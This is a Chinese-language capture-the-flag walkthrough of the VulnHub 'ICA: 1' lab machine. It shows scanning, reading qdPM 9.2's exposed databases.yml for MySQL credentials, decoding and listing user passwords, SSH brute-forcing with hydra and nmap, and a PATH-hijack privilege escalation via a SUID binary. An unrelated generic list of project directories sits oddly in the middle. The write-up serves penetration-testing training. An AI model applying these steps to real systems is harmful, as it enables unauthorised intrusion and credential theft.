ical

imawuya / 2024-03-06 / 原文

靶场环境

靶场下载地址:https://www.vulnhub.com/entry/ica-1,748/

ical(靶机:192.168.3.123

kali:192.168.2.25

信息收集

打开ical靶机即可看到IP地址:192.168.3.123
image.png

使用nmap对靶机进行更详细的扫描:

nmap -sV -p- 192.168.3.123 -O

image.png
可以看到该主机开放了22ssh,80http、3306MySQL端口和服务
操作系统为Linux

思路:

  • 22ssh可以进行ssh连接密码爆破
  • 80http可以查找漏洞,上传webshell
  • 3306mysql,数据库密码爆破

扫描一下是否存在漏洞:
image.png
在HTTP服务上发现了一些可能的CSRF漏洞
发现了一些潜在的目录和文件,可能包含敏感信息或可利用的漏洞

访问一下靶机开放的http服务:
image.png
可以看到是一个登录页面,使用的是qdpm 9.2 版本

wappalyzer信息:
image.png

使用dirsearch对网站进行目录扫描:
image.png
image.png

Workspace结构如下:
src:源代码目录,包含项目的源代码文件。
lib:库文件目录,包含项目依赖的外部库文件。
docs:文档目录,包含项目的文档、说明和规范等。
tests:测试目录,包含项目的单元测试、集成测试等。
bin:可执行文件目录,包含项目的可执行文件。
config:配置文件目录,包含项目的配置文件。
data:数据文件目录,包含项目所需的数据文件。
assets:资源文件目录,包含项目的静态资源文件,如图像、样式表、脚本等。
logs:日志文件目录,包含项目的运行日志文件。
tmp:临时文件目录,包含项目的临时文件。
dist:分发目录,包含项目的分发版本文件。
env:虚拟环境目录,包含项目的虚拟环境。

查询是否存在框架漏洞:

searchsploit qdpm  

image.png
发现有两个9.2的漏洞可以使用

漏洞利用

先查看一下第一个

cat /usr/share/exploitdb/exploits/php/webapps/50854.txt

image.png
翻译:
利用步骤:
1) 制作一个给定POC的HTML文件(相应地更改用户ID字段)并托管它。
2) 把它发给受害者。

再看第二个:

cat /usr/share/exploitdb/exploits/php/webapps/50176.txt

image.png
翻译:
数据库的密码和连接字符串存储在yml文件中。要访问yml文件,您可以访问http:///core/config/databases.yml文件并下载。

第二个貌似可以利用一下,
靶机的ip地址是192.168.3.123
访问:http://192.168.3.123/core/config/databases.yml,浏览器会下载一个yml文件
image.png

打开文件,即可看见数据库的用户名和密码:
用户名:qdpmadmin
密码:UcVQCMQk2STVeS6J
image.png

使用Navicat进行连接:
image.png

可以看到该数据表中存有几个用户名:
image.png

需要将用户名转换为小写

smith
lucas
travis
dexter
meyer

密码也能够在表里找到:
image.png

不过mysql的密码是经过base64加密处理的,所以需要拿去解密,解密出来的密码:

suRJAdGwLp8dy3rF
7ZwV4qtg42cmUXGX
X7MQkP3W29fewHdC
DJceVy98W28Y7wLg
cqNnBWCByS2DuJSy

推荐使用的解密网站:https://www.cmd5.com/

在kali中创建两个文件:user.txt和passwd.txt,使用hydra进行密码破解:
image.png

使用nmap的nse脚本爆破一下ssh:

nmap -p 22 --script=ssh-brute --script-args userdb='/root/Desktop/user.txt',passdb='/root/Desktop/passwd.txt' 192.168.3.123 

image.png

发现两对匹配的用户名和密码:

dexter:7ZwV4qtg42cmUXGX

travis:DJceVy98W28Y7wLg

尝试使用第一对登录,可以成功登录:
image.png

ls列出目录,发现存在一个note.txt
image.png
翻译:
在我看来,在访问系统时存在一个弱点。
据我所知,可执行文件的内容是部分可见的。
我需要查明是否存在漏洞。

意思就是存在漏洞,要自己去找

提权

看一下有权限的文件:

dexter@debian:/$ find - / -perm -u=s 2>/dev/null

image.png

第一个文件很可疑,查看一下,在一堆乱码中可以看到
image.png
翻译:cat/root/system.info无法创建访问系统的套接字。所有服务都已禁用。仅允许在工作时间内访问系统。

cat可以打开root下的文件,说明cat具有root权限,没有指定cat位置,创建一个cat文件,写入到环境变量里,就可以提权了

# 在 /tmp 目录下创建一个名为 cat 的文件,内容为 /bin/bash 的路径。  
# 这通常是一个 shell 的路径,意味着这个文件可以被用来执行 bash shell。  
echo '/bin/bash' > /tmp/cat  
  
# 为 /tmp/cat 文件添加执行权限,使其可以被执行。  
chmod +x /tmp/cat  
  
# 打印当前 PATH 环境变量的值。PATH 变量定义了系统查找命令的目录列表。  
echo $PATH  
  
# 修改 PATH 环境变量,将 /tmp 目录添加到 PATH 的开头。  
# 这意味着当执行命令时,系统首先会在 /tmp 目录下查找该命令。  
export PATH=/tmp:$PATH  
  
# 尝试执行位于 /opt 目录下的 get_access 文件。  
# 根据后续的输出,这个文件可能是用来提升权限的脚本或程序。  
/opt/get_access  
  
# 提示符变为 root@debian:/#,表示当前用户已经切换到 root 用户。  
# 这通常意味着 get_access 脚本成功提升了执行者的权限。  
root@debian:/#

image.png
ok!提权成功

在/root下可以看到一个root.txt文件,用cat是无法打开文件的,使用more命令可以进行查看:
image.png